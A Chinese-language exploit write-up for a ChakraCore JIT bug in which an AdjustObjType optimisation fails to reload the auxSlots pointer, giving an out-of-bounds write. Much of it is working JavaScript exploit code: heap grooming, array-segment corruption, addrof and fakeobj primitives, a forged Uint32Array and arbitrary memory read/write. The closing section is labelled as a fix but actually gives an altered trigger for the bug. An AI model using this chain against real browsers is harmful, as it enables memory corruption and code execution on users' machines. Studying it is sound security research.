导语:Chakra (JScript引擎)是一个由微软为其Internet Explorer 9、Internet Explorer 10、Internet Explorer 11和Microsoft Edge等网页浏览器开发的JavaScript引擎。
Chakra (JScript引擎)是一个由微软为其Internet Explorer 9、Internet Explorer 10、Internet Explorer 11和Microsoft Edge等网页浏览器开发的JavaScript引擎。其特色是,它在一个独立的CPU核心上即时编译脚本,与浏览器并行。该引擎也能够访问电脑的图形处理器(GPU),特别是对3D图形和视频的情况。
ChakraCore中的JSObject
与其他引擎一样,在ChakraCore中,对象的“默认”存储模式使用指向保存属性值的连续内存缓冲区的指针,并使用名为Type的对象来描述存储给定属性名称的属性值的位置。
因此,JSObject的布局如下:
vfptr:虚拟表指针;
type:保存Type指针;
auxSlots:指向缓冲区保持对象属性的指针;
objectArray:如果对象具有索引属性,则指向JSArray。
为了避免在向对象添加新属性时对以前的属性进行重新分配和复制,考虑到将来的属性添加auxSlots缓冲区将以特定的大小扩展。
ChakraCore中的JSArray
数组存储使用3种类型的存储,并允许优化:
NativeIntArray,其中的数组以4个字节的形式存储;
NativeFloatArray,其中的数组以8个字节的形式存储;
JavascritpArray,数组存储在其被封装的表示中,并直接存储对象指针;
JIT背景介绍
ChakraCore有一个JIT编译器,它经过了两层优化:
1. SimpleJit;
2. FullJit。
FullJit层是执行所有优化的层,并使用一个简单的算法对被优化的函数的控制流图(CFG)进行优化:
1. 向后优化;
2. 向前优化;
3. 另一个向后的优化(称为DeadStore 优化)。
在这些优化过程中,FullJit层会在每个基本块处收集数据以跟踪关于使用表示JS变量的各种符号的各种信息,但也可以表示内部字段和指针。向前优化还会公开符号的使用,这基本上允许知道给定的符号以后是否会被使用,并据此采取各种行动。
漏洞介绍
该漏洞是在2018年9月的提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中引入的,如果我们查看提交,会看到它尝试优化一个名为AdjustObjType的指令,并引入了一个名为AdjustObjTypeReloadAuxSlotPtr的新指令。
看看以下代码段:
function opt(obj) { ... // assume obj->auxSlots is full at this stage obj.new_property = 1; // [[ 1 ]] ...}
JIT必须在[[1]]处生成AdjustObjType指令,以便正确地扩展后备缓冲区。
这个优化试图使用向上优化的使用信息来决定它是否应该生成一个AdjustObjType或AdjustObjTypeReloadAuxSlotPtr,基本原理是,如果该对象上没有更多的属性访问权限,我们就不必重新加载auxSlots指针。
在下面的方法中,我们可以在向后优化中看到特定的逻辑:
voidBackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitArenaAllocator>* upwardExposedUses){ Assert(!this->IsPrePass()); IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func); baseOpnd->SetIsJITOptimizedReg(true); JITTypeHolder initialType = data->GetInitialType(); IR::AddrOpnd *initialTypeOpnd = IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func); initialTypeOpnd->m_metadata = initialType.t; JITTypeHolder finalType = data->GetFinalType(); IR::AddrOpnd *finalTypeOpnd = IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func); finalTypeOpnd->m_metadata = finalType.t; IR::Instr *adjustTypeInstr = // [[ 1 ]] IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func); if (upwardExposedUses) { // If this type change causes a slot adjustment, the aux slot pointer (if any) will be reloaded here, so take it out of upwardExposedUses. int oldCount; int newCount; Js::PropertyIndex inlineSlotCapacity; Js::PropertyIndex newInlineSlotCapacity; bool needSlotAdjustment = JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount, &inlineSlotCapacity, &newInlineSlotCapacity); if (needSlotAdjustment) { StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym(); if (auxSlotPtrSym) { if (upwardExposedUses->Test(auxSlotPtrSym->m_id)) { adjustTypeInstr->m_opcode = // [[ 2 ]] Js::OpCode::AdjustObjTypeReloadAuxSlotPtr; } } } } instrInsertBefore->InsertBefore(adjustTypeInstr);}
默认情况下,我们可以看到,在[[1]]处,如果测试upwardExposedUses-> Test(auxSlotPtrSym-> m_id)成功,它将生成一个AdjustObjType指令并仅将该指令类型更改为其变量AdjustObjTypeReloadAuxSlotPtr。
然后,我们可以看到在处理这些特定指令的小写字母中生成的逻辑:
voidLowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType){ IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd(); IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd(); IR::RegOpnd *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd(); bool adjusted = this->GenerateAdjustBaseSlots( instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOpnd->m_metadata)); if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr) { Assert(adjusted); // We reallocated the aux slots, so reload them if necessary. StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym(); Assert(auxSlotPtrSym); IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func); IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func); regOpnd->SetIsJITOptimizedReg(true); Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType); } this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata); IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_func); this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType); initialTypeOpnd->Free(instrAdjustObjType->m_func); instrAdjustObjType->Remove();}
我们可以看到,如果instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr,则将添加额外的逻辑以重新加载auxSlots指针。
够简单吧!可问题是,优化后,实际上并不能正常工作,而且会导致漏洞。
比如该代码片段:
function opt(obj) { ... // assume obj->auxSlots is full at this stage obj.new_property = 1; // [[ 1 ]]}
可以看到,这次没有任何越过属性存储的代码会导致使用auxSlots,这意味着obj的auxSlots指针不会被设置为向上优化,因此这样的优化将生成一个AdjustObjType指令。
但一个小问题是, auxSlots指针确实会被重新加载,所以如果我们看一下在某些情况下发生在幕后发生的事情,那我们可以发现以下逻辑:
1. auxSlots指针是“活动的”,并加载在寄存器中;
2. 在写入新属性之前执行AdjustObjType;
3. auxSlots指针未被重新加载;
4. 使用先前的auxSlots指针写入属性。
因此,我们最终在原始的auxSlots缓冲区之后进行了8字节的OOB写入操作,这已经足够实现一个高度可靠的R/W原语。
要触发此漏洞(至少是第一个版本),我们可以使用非常复杂的JavaScript函数:
function opt(obj) { obj.new_property = obj.some_existing_property;}
漏洞利用
设定我们的攻击目标
在利用这个漏洞时,我发现将我想要实现的目标进行规范化一点确实很有用,以便正确地考虑所需的任何中间步骤。
我的目标是实现两个众所周知的原语:
1. addrof将允许我们泄漏任何JavaScript对象的内部地址;
2. fakeobj whill将允许我们在内存中的任意地址处获取JavaScript对象的句柄。
漏洞利用中的限制
根据我们目前对形势的了解,我们必须考虑几个缓解措施。
首先,我们不控制写入OOB的偏移量,它将始终是auxSlots缓冲区之后的第一个QWORD。
其次,我们不能编写任意值,因为我们将分配一个JSValue。在Chakra中,这意味着如果我们分配整数0x4141,它将写入0x1000000004141,重复(double)之处将用0xfffc << 48标记,但凡有类似的任何其他值,都将意味着写入指针OOB。
找到要覆盖的目标
我们需要考虑一个好的目标来覆盖,由于Chakra广泛使用虚拟方法,这意味着大多数对象实际上将虚拟表指针作为其第一个qword。如果没有infoleak并且在Control-Flow Guard的保护下,这是不可能实现的。
为了将这个8字节的OOB写入转换为一个更强大的原语,我最终将数组段作为要覆盖的目标。
为了处理稀疏数组(sparsearray),Chakra使用了一个基于分段的实现来避免疯狂地内存扩展。
let arr = [];arr[0] = 0;arr[0xfff] = 1;
可以看到,在上面的代码片段中,为了避免分配0x1000 * 4个字节来存储两个值,Chakra将此数组表示为具有两个段的数组:
第一个段从索引0处开始,值为0;
第二个段从索引0xfff处开始,值为1;
这两个段在内存中具有以下布局:
uint32_t left:段的最左侧索引;
uint32_t length:在该段中设置的最高索引;
uint32_t size:段的实际大小/可存储元素的数量;
segment * next:指向下一个段的指针(如果有的话);
这两个段的元素将在之后进行内联存储,形成一个完整的代码段。
正如你所看到的,段的第一个QWORD有效地保存了两个看起来非常有趣的字段来覆盖。更重要的是,我们可以使用一个带有标签的数值。如果我们写入0x4000 OOB,将得到一个代码段,其中left == 0x4000和length == 0x10000会允许我们以更自由的方式读取段的OOB。
现在我们需要处理的是如何在auxSlots缓冲区之后放置一个段,以便我们可以覆盖段的前8个字节。
Chakra Heap Feng-Shui
Chakra中的大多数对象都是通过他们的Recycler来分配的,它允许垃圾收集器完成它的工作。它是一个桶式分配器,其中内存范围被保留给特定大小的桶。这意味着,最终在同一个桶中的大小的对象很可能彼此相邻,假如这些对象不在同一个桶中,那么实现两个分配将是非常困难的。
值得庆幸的是,我们可以控制auxSlots分配到哪个桶中,因为我们可以在传递之前控制对象上设置的属性数量。于是我快速地尝试向一个对象添加随机数量的属性,直到我知道哪个数值是正确的,这样:
1. auxSlots与新数组段被分配在同一个存储桶中;
2. auxSlots已被填满。
如果我们有一个具有20个属性的对象,我们将满足这两个条件。
发起攻击
覆盖数组段的另一个好处是,我们将能够通过常规JavaScript检测是否发生了攻击。使用了的策略如下:
1. 创建一个NativeFloatArray;
2. 设置一个high index(0x7000),这将完成两件事,首先关闭它将在数组上设置长度变量,以避免引擎在我们访问OOB索引并创建新段时发生故障;
3. 创建具有20个属性的对象:这将在正确的桶中分配我们的auxSlots;
4. 通过分配索引0x1000创建一个新段。
通过在第3步之后执行第4步,我们尝试在步骤3中分配的对象的auxSlots之后增加索引0x1000的新段的可能性。
然后我们将使用触发器(trigger)编写0x4000越界。如果我们的触发成功了,我们会将段的索引更改为0x4000,因此如果我们读取该索引处的标记值,我们就会知道它是有效的。
以下就是攻击数组段时所用的代码:
// this creates an object of a certain size which makes so that its auxSlots is full// adding a property to it will require growing the auxSlots bufferfunction make_obj() { let o = {}; o.a1=0x4000; o.a2=0x4000; o.a3=0x4000; o.a4=0x4000; o.a5=0x4000; o.a6=0x4000; o.a7=0x4000; o.a8=0x4000; o.a9=0x4000; o.a10=0x4000; o.a11=0x4000; o.a12=0x4000; o.a13=0x4000; o.a14=0x4000; o.a15=0x4000; o.a16=0x4000; o.a17=0x4000; o.a18=0x4000; o.a19=0x4000; o.a20=0x4000; return o;}function opt(o) { o.pwn = o.a1;}for (var i = 0; i < 1000; i++) { arr = [1.1]; arr[0x7000] = 0x200000 // Segment the array let o = make_obj(); // arr[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword which contains length and index opt(o); // now if we triggered the bug, we overwrote the first qword of the segment // for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000 // (tagged integer 0x4000) // if we access 0x4000 and read the marker value we put, then we know it was corrupted if (arr[0x4000] == 1337.36) { print("[+] corruption worked"); break; } }
我们现在可以通过索引0x4000开始访问arr,并读取溢出缓冲区末尾的路径。另外要注意的是,因为arr是一个包含float的数组,所以它将被表示为NativeFloatArray,这将允许我们将内存中的值以原始数值的形式读取。
构建Addrof
在上述的攻击中,我们已经能够设计出一个稳定的addrof原语。现在,我们要做的是实现一个布局,在这个布局中,被攻击的段被一个包含对象指针的数组直接跟随在内存中。通过从我们的段中读取OOB,我们将能够读取这些指针值,并将其作为原始数值返回到JavaScript中。
以下就是addrof设置的过程展示:
addrof_idx = -1;function setup_addrof(toLeak) { for (var i = 0; i < 1000; i++) { addrof_hax = [1.1]; addrof_hax[0x7000] = 0x200000; let o = make_obj(); addrof_hax[0x1000] = 1337.36; opt(o); if (addrof_hax[0x4000] == 1337.36) { print("[+] corruption done for addrof"); break; } } addrof_hax2 = []; addrof_hax2[0x1337] = toLeak; // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak marker = 2.1219982213e-314 // 0x100001337; for (let i = 0; i < 0x500; i++) { let v = addrof_hax[0x4010 + i]; if (v == marker) { print("[+] Addrof: found marker value"); addrof_idx = i; return; } } setup_addrof();}var addrof_setupped = false;function addrof(toLeak) { if (!addrof_setupped) { print("[!] Addrof layout not set up"); setup_addrof(toLeak); addrof_setupped = true; print("[+] Addrof layout done!!!"); } addrof_hax2[0x1337] = toLeak return f2i(addrof_hax[0x4010 + addrof_idx + 3]);}
构建Fakeobj
要构建fakeobj,我们将做同样的事情,但反过来,我们将破坏javascript tarray的一个段,并将一个段放在NativeFloatArray之后。然后,我们将能够在float数组中伪造指针值(值以未装箱的方式存储),并通过从对象数组段中读出超出范围的未绑定值表示指针的边界来获取指针句柄。
function setup_fakeobj(addr) { for (var i = 0; i < 100; i++) { fakeobj_hax = [{}]; fakeobj_hax2 = [addr]; fakeobj_hax[0x7000] = 0x200000 fakeobj_hax2[0x7000] = 1.1; let o = make_obj(); fakeobj_hax[0x1000] = i2f(0x404040404040); fakeobj_hax2[0x3000] = addr; fakeobj_hax2[0x3001] = addr; opt(o); if (fakeobj_hax[0x4000] == i2f(0x404040404040)) { print("[+] corruption done for fakeobj"); break; } } return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2}var fakeobj_setuped = false;function fakeobj(addr) { if (!fakeobj_setuped) { print("[!] Fakeobj layout not set up"); setup_fakeobj(addr); fakeobj_setuped = true; print("[+] Fakeobj layout done!!!"); } fakeobj_hax2[0x3000] = addr; return fakeobj_hax[0x4000 + 20]}
获取任意R/W原语
此时,实现R/W原语的步骤非常简单,我在SSTIC 2019 的演讲中已经解释过了。
为了得到一个R/W原语,我们将伪造一个Uint32Array,这样我们就可以控制它的缓冲区指针。
为了在Chakra中伪造一个类型化数组,我们必须知道它的vtable指针,因为它将在我们开始为其赋值时使用。我们的第一步是获取一个vtable指针,并使用静态偏移量计算我们想要的vtable指针。
为此,我们将使用这样一个事实:当使用 new Array(<size>)语法分配时,其数据将内联存储,且数组的大小不超过特定的尺寸。最后再使用我们的addrof原语,使我们能够将任意数据放在内存中的已知位置。
为了让vtable内存泄漏,我们将使用以下策略:
1. 分配一个内联数组a;
2. 在a之后,分配一个内联数组b;
3. 在a的末尾伪造一个Uint64Number,使包含该值的字段与b的vtable指针重叠;
4. 对伪造的数值调用parseInt,这样它将以数值的形式返回vtable指针。
为了正确地伪造一个Uint64Number,我们只需要伪造一个Type,它是为了说明这个对象的类型是Uint64Number,并将一些值设置为一个有效的地址。
其逻辑如下:
let a = new Array(16); let b = new Array(16); let addr = addrof(a); let type = addr + 0x68; // a[4] // type of Uint64 a[4] = 0x6; a[6] = lo(addr); a[7] = hi(addr); a[8] = lo(addr); a[9] = hi(addr); a[14] = 0x414141; a[16] = lo(type) a[17] = hi(type) // object is at a[14] let fake = fakeobj(i2f(addr + 0x90)) let vtable = parseInt(fake); let uint32_vtable = vtable + offset;
现在我们有了所有我们想要伪造的类型数组:
type = new Array(16); type[0] = 50; // TypeIds_Uint32Array = 50, type[1] = 0; typeAddr = addrof(type) + 0x58; type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer type[3] = hi(typeAddr); ab = new ArrayBuffer(0x1338); abAddr = addrof(ab); fakeObject = new Array(16); fakeObject[0] = lo(uint32_vtable); fakeObject[1] = hi(uint32_vtable); fakeObject[2] = lo(typeAddr); fakeObject[3] = hi(typeAddr); fakeObject[4] = 0; // zero out auxSlots fakeObject[5] = 0; fakeObject[6] = 0; // zero out objectArray fakeObject[7] = 0; fakeObject[8] = 0x1000; fakeObject[9] = 0; fakeObject[10] = lo(abAddr); fakeObject[11] = hi(abAddr); address = addrof(fakeObject); fakeObjectAddr = address + 0x58; arr = fakeobj(i2f(fakeObjectAddr));
R/W原语如下:
memory = { setup: function(addr) { fakeObject[14] = lower(addr); fakeObject[15] = higher(addr); }, write32: function(addr, data) { memory.setup(addr); arr[0] = data; }, write64: function(addr, data) { memory.setup(addr); arr[0] = data & 0xffffffff; arr[1] = data / 0x100000000; }, read64: function(addr) { memory.setup(addr); return arr[0] + arr[1] * BASE; } }; print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address))); memory.write32(0x414243444546, 0x1337);
要想真正修复该漏洞,我们只需要将make_obj和opt函数进行如下更改即可:
function make_obj() { let o = {}; o.a1=0x4000; o.a2=0x4000; o.a3=0x4000; o.a4=0x4000; o.a5=0x4000; o.a6=0x4000; o.a7=0x4000; o.a8=0x4000; o.a9=0x4000; o.a10=0x4000; o.a11=0x4000; o.a12=0x4000; o.a13=0x4000; o.a14=0x4000; o.a15=0x4000; o.a16=0x4000; o.a17=0x4000; o.a18=0x4000; //o.a19=0x4000; //o.a20=0x4000; return o;}function opt(o) { o.__defineGetter__("accessor",() => {}) o.a2; // set auxSlots as live o.pwn = 0x4000; // bug}
完整的漏洞利用代码可以在这里找到!